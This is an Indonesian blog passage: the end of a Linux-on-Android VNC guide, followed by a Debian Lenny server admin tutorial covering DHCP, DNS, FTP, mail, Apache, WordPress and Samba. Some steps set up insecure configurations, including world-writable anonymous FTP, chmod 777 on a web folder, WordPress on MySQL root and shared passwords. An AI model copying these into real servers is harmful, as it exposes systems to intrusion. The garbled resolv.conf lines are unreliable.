sh backtrack.sh --->ketikkan sesuai boot script yg anda ingin instal, misalnya ubuntu.sh/debian.sh
7. jika anda disuruh masukkan password unix, maka masukkan password sesuai keinginan anda (ini akan menjadi password linux anda), dan jika disuruh masukkan password vnc masukkan sesuai keinginan anda (password ini akan digunakan untuk masuk di remote vnc). dan jika ada pilihan y/n, maka pilih saja y dan enter. dan jika ditanyakan screen size masukkan ukuran layar anda (contoh 800x480 atau 1024x600)
catatan: saya sarankan password unix dan password vnc di samakan saja agar lebih memudahkan ketika akan memasukkan password
catatan: saya sarankan password unix dan password vnc di samakan saja agar lebih memudahkan ketika akan memasukkan password
8. tunggu beberapa saat hingga muncul root@localhost:/# , jika sudah mucul berarti anda sudah bisa menjalankan linux lewat command line
9. terminal emulator di minimize dulu atau tekan tombol home (jangan keluar dari terminal emulator, cukup di minimize) kemudian masuk di remote vnc. masukkan:
host : 127.0.0.1
port : 5900
password : sesuai dengan yang anda masukkan di nomor 7 (password utk vnc)
port : 5900
password : sesuai dengan yang anda masukkan di nomor 7 (password utk vnc)
sekarang anda sudah bisa menjalankan linux di android anda... selamat mencoba... CMIIW
Update: Sekarang sudah ada beberapa tambahan linux yang support dijalankan di smartphone ber os android, yaitu Arch Linux, Fedora, Open Suse dan Kali Linux. Anda bisa menginstalnya dengan mengikuti petunjuk dari Aplikasi Complete Linux yang sudah anda download sebelumnya. SelamatInstal Linux diSmartphonee
Jumat, 20 Maret 2015
KONFIGURASI IP DAN HOSTNAME PADA DEBIAN 5 LENNY
Konfigurasi IP Address dan Hostname
pada DEBIAN LENNY
Untuk konfigurasi IP Address dari mode teks dapat dilakukan dengan cara.
#cd /etc/network
#gedit interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
allow-hotplug eth0
iface eth0 inet static
address 192.168.1.1
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 192.168.1.1
dns-search net
#jika Anda mengcopy file VDI dari virtualbox maka tambahkan konfigurasi IP dengan eth1 di baris berikut, karena otomatis akan dikenali sebagai eth1.
Sedangkan eth0 tidak akan dibaca.
iface eth1 inet static
address 192.168.1.1
netmask 255.255.255.0
gateway 192.168.1.1
auto eth1
untuk mengganti hostname dari mode teks dapat dilakukan dengan cara berikut:
#gedit /etc/hostname
Selanjutnya tinggal mengganti hostname nya.
Jangan lupa untuk mereload ulang konfigurasi IP address dan hostname dengan perintah:
#/etc/init.d/networking force-reload
Jika masih belum berubah restart lagi service networknya dengan perintah:
#/etc/init.d/networking restart
2
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Konfigurasi IP address dengan mode GUI
Dari menu System ? Administration ? Network
Kemudian klik tombol properties untuk merubah konfigurasi IP Address
Hilangkan tanda Centang pada Enable roaming mode dan pada Configuration pilih Static IP address.
Konfigurasi Hostname dari mode GUI
Klik tab General untuk merubah hostname
3
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Jangan lupa untuk mereload ulang konfigurasi IP address dan hostname dengan perintah:
#/etc/init.d/networking force-reload
Jika masih belum berubah restart lagi service networknya dengan perintah:
#/etc/init.d/networking restart
Sampai disini seharusnya konfigurasi IP Address dan Hostname sudah dapat berjalan dengan baik.
4
Modul Admin Server Debian Lenny
By Arafat, S.Kom
INSTALASI DAN KONFIGURASI
DHCP SERVER
Sebelum mengkonfigurasi DHCP Server, install terlebih dahulu paket dhcp3-server . Masukan DVD Linux Debian Lenny kedalam DVD-ROM.
Masuk kedalam user root dengan mengetikan perintah su dan masukan password user root :
$su
password:
cek IP Address server dan hostname linux dengan mengetikanperintah:
#ifconfig
#hostname
Catat berapa IP Address nya dan hostname nya.
Sebelum melakukan konfigurasi dhcp server, maka Anda harus menginstall paketnya terlebih dahulu.
Cek apakah paket dhcp3-server sudah terinstall. Perintahnya Adela :
#dpkg -l |grep dhpc3-server
Perintah diatas Adela untuk mencari query program yang mengandung kata dhcp3-server, jika telah terinstall maka yang muncul Adalah:
Ii dhcp3-server 3.1.1-6 DHCP Server
#apt-cdrom add
#apt-get install dhcp3-server
KONFIGURASI DHCP Server
Backup terlebih dahulu file dhcpd.conf dengan perintah :
#cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.bak
Buka file dhcpd.conf didalam direktori /etc/dhcp3 dengan perintah :
5
Modul Admin Server Debian Lenny
By Arafat, S.Kom
#gedit /etc/dhcp3/dhcpd.conf
Kemudian cari baris berikut, sesuaikan dengan konfigurasi server kita.
Contoh script file dhcpd.conf
# Sample configuration file for ISC dhcpd for Debian
#
# $Id: dhcpd.conf,v 1.1.1.1 2002/05/21 00:07:44 peloy Exp $
#
# The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages ('none', since DHCP v2 didn't
# have support for DDNS.)
ddns-update-style none;
# option definitions common to all supported networks...
option domain-name "example.org";
option domain-name-servers ns1.example.org, ns2.example.org;
default-lease-time 600;
max-lease-time 7200;
# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
#authoritative;
# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;
# No service will be given on this subnet, but declaring it helps the
# DHCP server to understand the network topology.
#subnet 10.152.187.0 netmask 255.255.255.0 {
#}
# This is a very basic subnet declaration.
#subnet 10.254.239.0 netmask 255.255.255.224 {
# range 10.254.239.10 10.254.239.20;
# option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;
#}
# This declaration allows BOOTP clients to get dynamic addresses,
# which we don't really recommend.
#subnet 10.254.239.32 netmask 255.255.255.224 {
# range dynamic-bootp 10.254.239.40 10.254.239.60;
# option broadcast-address 10.254.239.31;
# option routers rtr-239-32-1.example.org;
#}
# A slightly different configuration for an internal subnet.
6
Modul Admin Server Debian Lenny
By Arafat, S.Kom
#subnet 10.5.5.0 netmask 255.255.255.224 {
# range 10.5.5.26 10.5.5.30;
# option domain-name-servers ns1.internal.example.org;
# option domain-name "internal.example.org";
# option routers 10.5.5.1;
# option broadcast-address 10.5.5.31;
# default-lease-time 600;
# max-lease-time 7200;
#}
# Hosts which require special configuration options can be listed in
# host statements. If no address is specified, the address will be
# allocated dynamically (if possible), but the host-specific information
# will still come from the host declaration.
#host passacaglia {
# hardware ethernet 0:0:c0:5d:bd:95;
# filename "vmunix.passacaglia";
# server-name "toccata.fugue.com";
#}
# Fixed IP addresses can also be specified for hosts. These addresses
# should not also be listed as being available for dynamic assignment.
# Hosts for which fixed IP addresses have been specified can boot using
# BOOTP or DHCP. Hosts for which no fixed address is specified can only
# be booted with DHCP, unless there is an address range on the subnet
# to which a BOOTP client is connected which has the dynamic-bootp flag
# set.
#host fantasia {
# hardware ethernet 08:00:07:26:c0:a5;
# fixed-address fantasia.fugue.com;
#}
# You can declare a class of clients and then do address allocation
# based on that. The example below shows a case where all clients
# in a certain class get addresses on the 10.17.224/24 subnet, and all
# other clients get addresses on the 10.0.29/24 subnet.
#class "foo" {
# match if substring (option vendor-class-identifier, 0, 4) = "SUNW";
#}
#shared-network 224-29 {
# subnet 10.17.224.0 netmask 255.255.255.0 {
# option routers rtr-224.example.org;
# }
# subnet 10.0.29.0 netmask 255.255.255.0 {
# option routers rtr-29.example.org;
# }
# pool {
# allow members of "foo";
# range 10.17.224.10 10.17.224.250;
# }
# pool {
# deny members of "foo";
# range 10.0.29.10 10.0.29.230;
7
Modul Admin Server Debian Lenny
By Arafat, S.Kom
# }
#}
Ubah teks yang bertanda bold dan italic di sesuaikan dengan konfigurasi server kita, misalnya seperi dibawah:
# A slightly different configuration for an internal subnet.
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.15;
option domain-name-servers smktelkom.sch.id;
option domain-name "192.168.1.1";
# option routers 10.5.5.1;
option broadcast-address 192.168.1.255;
default-lease-time 600;
max-lease-time 7200;
}
Kemudian star atau restart service dari dhcp server dengan mengunakan perintah:
#/etc/init.d/dhcp3-server restart
Stoping DHCP server :dhcpd3.
Starting DHCP server : dhcpd3.
Jika tidak muncul pesan, maka kemungkinan konfigurasi dhcp server telah berhasil. Untuk melihat hasilnya maka atur IP Address di windows XP menjadi Obtain by DHCP.
8
Modul Admin Server Debian Lenny
By Arafat, S.Kom
KONFIGURASI DNS SERVER
Cek apakah paket bind9 sudah terinstall dengan perintah :
#dpkg -l |grep bind9
Jika sudah terinstall selanjutnya melakukan konfigurasi file named.conf.
Konfigurasi DNS Server
Backup terlebih dahulu file named.conf.
#cd /etc/bind
#cp named.conf. named.conf.bak
#gedit named.conf
File named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
// prime the server with knowledge of the root servers
zone "." {
type hint;
file "/etc/bind/db.root";
};
// be authoritative for the localhost forward and reverse zones, and for
// broadcast zones as per RFC 1912
zone "localhost" {
type master;
file "/etc/bind/db.local";
};
zone "127.in-addr.arpa" {
type master;
9
Modul Admin Server Debian Lenny
By Arafat, S.Kom
file "/etc/bind/db.127";
};
zone "0.in-addr.arpa" {
type master;
file "/etc/bind/db.0";
};
zone "255.in-addr.arpa" {
type master;
file "/etc/bind/db.255";
};
include "/etc/bind/named.conf.local";
tambahkan konfigurasi untuk domain smktelkom.sch.id dan telkom.co.id pada baris terakhir diatas include, seperti terlihat pada script dibawah.
zone "smktelkom.sch.id" {
type master;
file "/etc/bind/db.smktelkom";
};
zone "telkom.co.id" {
type master;
file "/etc/bind/db.telkom";
};
zone "1.1.168.192.in-addr.arpa" {
type master;
file "/etc/bind/db.192";
};
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
// prime the server with knowledge of the root servers
zone "." {
type hint;
file "/etc/bind/db.root";
};
// be authoritative for the localhost forward and reverse zones, and for
10
Modul Admin Server Debian Lenny
By Arafat, S.Kom
// broadcast zones as per RFC 1912
zone "localhost" {
type master;
file "/etc/bind/db.local";
};
zone "127.in-addr.arpa" {
type master;
file "/etc/bind/db.127";
};
zone "0.in-addr.arpa" {
type master;
file "/etc/bind/db.0";
};
zone "255.in-addr.arpa" {
type master;
file "/etc/bind/db.255";
};
zone "smktelkom.sch.id" {
type master;
file "/etc/bind/db.smktelkom";
};
zone "telkom.co.id" {
type master;
file "/etc/bind/db.telkom";
};
zone "1.1.168.192.in-addr.arpa" {
type master;
file "/etc/bind/db.192";
};
include "/etc/bind/named.conf.local";
file db.smktelkom
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA smktelkom.sch.id. root.smktelkom.sch.id. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS smktelkom.sch.id.
@ IN MX 10 mail.smktelkom.sch.id.
@ IN A 192.168.1.1
www IN A 192.168.1.1
mail IN A 192.168.1.1
ftp IN A 192.168.1.1
11
Modul Admin Server Debian Lenny
By Arafat, S.Kom
file db.telkom.co.id
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA smktelkom.sch.id. root.smktelkom.sch.id. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS telkom.co.id.
@ IN A 192.168.1.1
www IN A 192.168.1.1
file db.192
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA smktelkom.sch.id. root.smktelkom.sch.id. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS 192.168.1.1
IN PTR www.smktelkom.sch.id.
IN PTR www.telkom.co.id.
Edit file resolve.conf
#gedit /etc/resolv.conf
search smktelkom.sch.id192
nameserver.168.1.1
Restart service bind dengan menggunakan perintah
#/etc/init.d/bind9 restart
Jalankan perintah nslookup dan dig untuk mengecek apakah konfigurasi DNS telah berjalan.
#nslookup www.smktelkom.sch.id
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: www.smktelkom.sch.id
Address: 192.168.1.1
12
Modul Admin Server Debian Lenny
By Arafat, S.Kom
#dig www.smktelkom.sch.id
; <<>> DiG 9.5.1-P1 <<>> www.smktelkom.sch.id
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48714
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;www.smktelkom.sch.id. IN A
;; ANSWER SECTION:
www.smktelkom.sch.id. 604800 IN A 192.168.1.1
;; AUTHORITY SECTION:
smktelkom.sch.id. 604800 IN NS smktelkom.sch.id.
;; ADDITIONAL SECTION:
smktelkom.sch.id. 604800 IN A 192.168.1.1
;; Query time: 5 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)
;; WHEN: Sun Oct 31 11:08:21 2010
;; MSG SIZE rcvd: 84
#nslookup mail.smktelkom.sch.id
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: mail.smktelkom.sch.id
Address: 192.168.1.1
#nslookup ftp.smktelkom.sch.id
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: ftp.smktelkom.sch.id
Address: 192.168.1.1
#nslookup www.telkom.sch.id
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: telkom.co.id
Address: 192.168.1.1
13
Modul Admin Server Debian Lenny
By Arafat, S.Kom
FTP SERVER
Instalasi FTP Server
Install terlebih dahulu paket proftpd
#apt-get install proftpd
Pada pilihan yang muncul pilih Stand Alone
Konfigurasi FTP SERVER
Masuk kedalam direktori /etc/proftpd
#cd /etc/proftpd
#cp proftpd.conf proftpd.conf.bak
Edit file proftpd.conf yang di bold menjadi seperti script dibawah:
# /etc/proftpd/proftpd.conf -- This is a basic ProFTPD configuration file.
# To really apply changes reload proftpd after modifications.
#
# Includes DSO modules
Include /etc/proftpd/modules.conf
# Set off to disable IPv6 support which is annoying on IPv4 only boxes.
UseIPv6 off
# If set on you can experience a longer connection delay in many cases.
IdentLookups off
ServerName "smktelkom.sch.id"
ServerType standalone
DeferWelcome off
14
Modul Admin Server Debian Lenny
By Arafat, S.Kom
MultilineRFC2228 on
DefaultServer on
ShowSymlinks on
TimeoutNoTransfer 600
TimeoutStalled 600
TimeoutIdle 1200
DisplayLogin welcome.msg
DisplayChdir .message true
ListOptions "-l"
DenyFilter \*.*/
# Use this to jail all users in their homes
# DefaultRoot ~
# Users require a valid shell listed in /etc/shells to login.
# Use this directive to release that constrain.
# RequireValidShell off
# Port 21 is the standard FTP port.
Port 21
# In some cases you have to specify passive ports range to by-pass
# firewall limitations. Ephemeral ports can be used for that, but
# feel free to use a more narrow range.
PassivePorts 30000 30100
# If your host was NATted, this option is useful in order to
# allow passive tranfers to work. You have to use your public
# address and opening the passive ports used on your firewall as well.
# MasqueradeAddress 1.2.3.4
# This is useful for masquerading address with dynamic IPs:
# refresh any configured MasqueradeAddress directives every 8 hours
<IfModule mod_dynmasq.c>
# DynMasqRefresh 28800
</IfModule>
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd)
MaxInstances 30
# Set the user and group that the server normally runs at.
User proftpd
Group nogroup
# Umask 022 is a good standard umask to prevent new files and dirs
# (second parm) from being group and world writable.
Umask 022 022
# Normally, we want files to be overwriteable.
AllowOverwrite on
15
Modul Admin Server Debian Lenny
By Arafat, S.Kom
# Uncomment this if you are using NIS or LDAP via NSS to retrieve passwords:
# PersistentPasswd off
# This is required to use both PAM-based authentication and local passwords
# AuthOrder mod_auth_pam.c* mod_auth_unix.c
# Be warned: use of this directive impacts CPU average load!
# Uncomment this if you like to see progress and transfer rate with ftpwho
# in downloads. That is not needed for uploads rates.
#
# UseSendFile off
TransferLog /var/log/proftpd/xferlog
SystemLog /var/log/proftpd/proftpd.log
<IfModule mod_quotatab.c>
QuotaEngine off
</IfModule>
<IfModule mod_ratio.c>
Ratios off
</IfModule>
# Delay engine reduces impact of the so-called Timing Attack described in
# http://security.lss.hr/index.php?page=details&ID=LSS-2004-10-02
# It is on by default.
<IfModule mod_delay.c>
DelayEngine on
</IfModule>
<IfModule mod_ctrls.c>
ControlsEngine off
ControlsMaxClients 2
ControlsLog /var/log/proftpd/controls.log
ControlsInterval 5
ControlsSocket /var/run/proftpd/proftpd.sock
</IfModule>
<IfModule mod_ctrls_admin.c>
AdminControlsEngine off
</IfModule>
#
# Alternative authentication frameworks
#
#Include /etc/proftpd/ldap.conf
#Include /etc/proftpd/sql.conf
#
# This is used for FTPS connections
#
#Include /etc/proftpd/tls.conf
# A basic anonymous configuration, no upload directories.
16
Modul Admin Server Debian Lenny
By Arafat, S.Kom
<Anonymous ~ftp>
User ftp
Group nogroup
# # We want clients to be able to login with "anonymous" as well as "ftp"
UserAlias anonymous ftp
# # Cosmetic changes, all files belongs to ftp user
DirFakeUser on ftp
DirFakeGroup on ftp
#
RequireValidShell off
#
# # Limit the maximum number of anonymous logins
MaxClients 10
#
# # We want 'welcome.msg' displayed at login, and '.message' displayed
# # in each newly chdired directory.
DisplayLogin welcome.msg
DisplayChdir .message
#
# # Limit WRITE everywhere in the anonymous chroot
<Directory *>
<Limit WRITE>
AllowAll
</Limit>
</Directory>
#
# # Uncomment this if you're brave.
# # <Directory incoming>
# # # Umask 022 is a good standard umask to prevent new files and dirs
# # # (second parm) from being group and world writable.
# # Umask 022 022
# # <Limit READ WRITE>
# # DenyAll
# # </Limit>
# # <Limit STOR>
# # AllowAll
# # </Limit>
# # </Directory>
#
</Anonymous>
Restart service proftpd
#/etc/init.d/proftpd restart
Menjalankan Layanan FTP
Untuk mencek apakah FTP sudah berjalan dengan benar, buka browser di linux kemudian ketikan pada url dengan ftp://smktelkom.sch.id , dan ftp://namauser@smktelkom.sch.id
Maka seharusnya yang tampil adalah seperti pada gambar.
17
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Gambar tampilan dengan anonymous
Gambar tampilan authentifikasi user dengan password
18
Modul Admin Server Debian Lenny
By Arafat, S.Kom
MAIL SERVER
Instalasi paket mysql-server dan php5-mysql
#apt-get install mysql-server php5-mysql
Silahkan isi password untuk mysql
Ulangi dengan password yang sama
Instalasi Postfix, courier-imap, courier-pop dan squirrelmail
19
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Instal paket yang dibutuhkan untuk Mail Server
#apt-get install postfix
20
Modul Admin Server Debian Lenny
By Arafat, S.Kom
#apt-get install courier-imap
#apt-get install courier-pop
#apt-get install squirrelmail
Buat direktori untuk mailserver dengan perintah
#maildirmake /etc/skel/Maildir
Kemudian buat dua (2) user baru untuk account email dengan perintah:
#adduser user1
Adding user `user1' ...
Adding new group `user1' (1001) ...
Adding new user `user1' (1001) with group `user1' ...
Creating home directory `/home/user1' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for user1
Enter the new value, or press ENTER for the default
Full Name []: user1
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
21
Modul Admin Server Debian Lenny
By Arafat, S.Kom
#adduser user2
Adding user `user2' ...
Adding new group `user2' (1002) ...
Adding new user `user2' (1002) with group `user2' ...
Creating home directory `/home/user2' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for user2
Enter the new value, or press ENTER for the default
Full Name []: user2
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
Konfigurasi ulang postfix dengan perintah :
#dpkg-reconfigure postfix
? Pilih Internet Site
? Pada System mail name isi dengan smktelkom.sch.id
22
Modul Admin Server Debian Lenny
By Arafat, S.Kom
? Pada root dan postmaster mail resepient biarkan kosong seperti pada gambar
? Biarkan apa adanya seperti pada gambar di bawah
? Pada pilihan Force synchronous update on mail queue? Pilih No
23
Modul Admin Server Debian Lenny
By Arafat, S.Kom
? Pada local network tambahkan IP address Server linux beserta netmask prefixnya missal nya dengan 192.168.1.0/24 dan hapus konfigurasi untuk IPv6
? Pade Use procmail for local delivery ? pilih No
24
Modul Admin Server Debian Lenny
By Arafat, S.Kom
? Pada Mailbox size limit (bytes): biarkan apa adanya.
? Pada Local address extention character: biarkan apa adanya.
? Pada Internet protocol to use: pilih ipv4.
25
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Konfigurasi main.cf
Jangan lupa di backup terlebih dahulu.
#gedit /etc/postfix/main.cf
Tambahkan script berikut pada baris terakhir :
Home_mailbox = Maildir/
# See /usr/share/postfix/main.cf.dist for a commented, more complete version
# Debian specific: Specifying a file name will cause the first
# line of that file to be used as the name. The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname
smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no
# appending .domain is the MUA's job.
append_dot_mydomain = no
# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h
readme_directory = no
# TLS parameters
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for
# information on enabling SSL in the smtp client.
myhostname = smktelkom.sch.id
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = smktelkom.sch.id, localhost.sch.id, , localhost
relayhost =
mynetworks = 127.0.0.0/8 192.168.1.0/24
mailbox_command =
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = ipv4
home_mailbox = Maildir/
26
Modul Admin Server Debian Lenny
By Arafat, S.Kom
restart ulang service postfix, courier-imap dan courier-pop
#/etc/init.d/postfix restart
#/etc/init.d/courier-imap restart
#/etc/init.d/courier-pop restart
Konfigurasi Squirrelmail
Ketikan diterminal dengan squirrelmail-configure
# squirrelmail-configure
? Pada command >> ketikan 2 tekan enter.
? Pada command >> ketikan 1 tekan enter
27
Modul Admin Server Debian Lenny
By Arafat, S.Kom
? Kemudian isi dengan hostname yaitu smktelkm.sch.id dan tekan enter.
? Pada command >> ketikan A tekan enter
? Pada command >> ketikan A tekan enter
28
Modul Admin Server Debian Lenny
By Arafat, S.Kom
? Kemudian pilih server imap yang kita gunakan yauitu courier.
Ketikan courier dan tekan enter.
? Pada command >> ketikan S dan tekan enter untuk menyimpan semua konfigurasi squirrelmail.
29
Modul Admin Server Debian Lenny
By Arafat, S.Kom
WEB SERVER
Konfigurasi virtual hosting
Masuk kedalam direktori
#cd /etc/apache2/sites-available
#cp default smktelkom
#gedit smktelkom
NameVirtualHost www.smktelkom.sch.id:80
<VirtualHost www.smktelkom.sch.id:80>
ServerAdmin webmaster@smktelkom.sch.id
ServerName smktelkom.sch.id
DocumentRoot /var/www/smktelkom
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog /var/log/apache2/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog /var/log/apache2/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
</VirtualHost>
30
Modul Admin Server Debian Lenny
By Arafat, S.Kom
#cp default mail.smktelkom
#gedit mail.smktelkom
NameVirtualHost www.smktelkom.sch.id:80
<VirtualHost mail.smktelkom.sch.id:80>
ServerAdmin webmaster@smktelkom.sch.id
ServerName mail.smktelkom.sch.id
DocumentRoot /usr/share/squirrelmail
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog /var/log/apache2/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog /var/log/apache2/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
</VirtualHost>
31
Modul Admin Server Debian Lenny
By Arafat, S.Kom
#cp default telkom
#gedit telkom
NameVirtualHost www.smktelkom.sch.id:80
<VirtualHost www.telkom.co.id:80>
ServerAdmin webmaster@smktelkom.sch.id
ServerName telkom.co.id
DocumentRoot /var/www/telkom
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog /var/log/apache2/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog /var/log/apache2/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
</VirtualHost>
Aktifkan ketiga buah virtual hosting yang telah dibuat dengan perintah:
#a2ensite smktelkom
#a2ensite mail.smktelkom
#a2ensite telkom
32
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Kemudian reload dan restart konfigurasi apache dengan perintah:
#/etc/init.d/apache2 reload
#/etc/init.d/apache2 restart
Buat folder untuk web www.smktelkom.sch.id dan www.telkom.co.id dengan perintah :
#cd /var/www/
#mkdir smktelkom
#mkdir telkom
Buat file index untuk web www.telkom.co.id
#cd /var/www/telkom
#gedit index.html <html> <head> <title>:.www.telkom.co.id.:</title> </head> <body> <center> <h1>Selamat dating di web www.telkom.co.id</h1> <h2>Web undercontructions</h2> webmaster@telkom.co.id <hr/> </center> </body> </html>
Untuk web www.smktelkom.sch.id menggunakan wordpress.
Persiapan yang harus dilakukan adalah:
? Install paket ssh yang diperlukan untuk meremote dan mengirim file dari windows
? Membuat database wordpress yang digunakan untuk database wordpress.
? Mengatur permission direktori /var/www/smktelkom .
? Upload file wordpress dengan coreFTP
33
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Instalasi ssh server
#apt-get install ssh
Membuat database wordpress di mysql
#mysql �u root �p
Enter Password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 35
Server version: 5.0.51a-24 (Debian)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> create database wordpress;
Query OK, 1 row affected (0.03 sec)
mysql>
NB: password di isi dengan password ketika mengintall mysql-server, bukan password root
Mengatur permission direktori
#cd /var/www
#chmod 777 smktelkom
Upload data dengan coreFTP
Jalankan program coreFTP, kemudian atur seperti berikut:
? Host / IP / URL : IP server linux
? Username : root
? Password : password user root
? Connection : SSH/SFTP
? Port : 22
34
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Kemudian klik tombol Connect..
Jika sudah terkoneksi arahkan ke direktori web yang ingin di install wordpress, selanjutnya tinggal mendrag dari sebelah kiri ke kanan.
35
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Installasi Wordpress 3.0
? Buka web browser dan ketikan url www.smktelkom.sch.id
? Klik tombol Let�s go !
? Isikan sesuai dengan konfigurasi system Anda
Database Name : wordpress (sesuai dengan database yang dibuat sebelumnya)
36
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Username : root
Password : di isi dengan password mysql
Database Host : localhost
Table Prefix : wp_
? Klik tombol Submit untuk memulai proses instalasi.
? Isikan informasi yang di minta di sesuaikan dengan konfigurasi Anda.
37
Modul Admin Server Debian Lenny
By Arafat, S.Kom
? Wordpress telah berhasil di install.
Jalankan juga mail.smktelkom.sch.id, jika benar konfigurasi nya maka yang muncul adalah halaman squirrelmail seperti terlihat pada gambar.
38
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Halaman wwb www.telkom.co.id
39
Modul Admin Server Debian Lenny
By Arafat, S.Kom
SAMBA SERVER
Sebelum melakukan konfigurasi samba, buat terlebih dahulu user
Buat user untuk samba
#adduser arafat
#passwd arafat
#smbpasswd �a arafat
Masukan password untuk user samba, sebaiknya passwordnya berbeda dengan password usernya.
Konfigurasi Samba
#cd /etc/samba
#gedit smb.conf
Potongan file smb.conf
#======================= Global Settings =======================
[global]
## Browsing/Identification ###
# Change this to the workgroup/NT-domain name your Samba server will part of
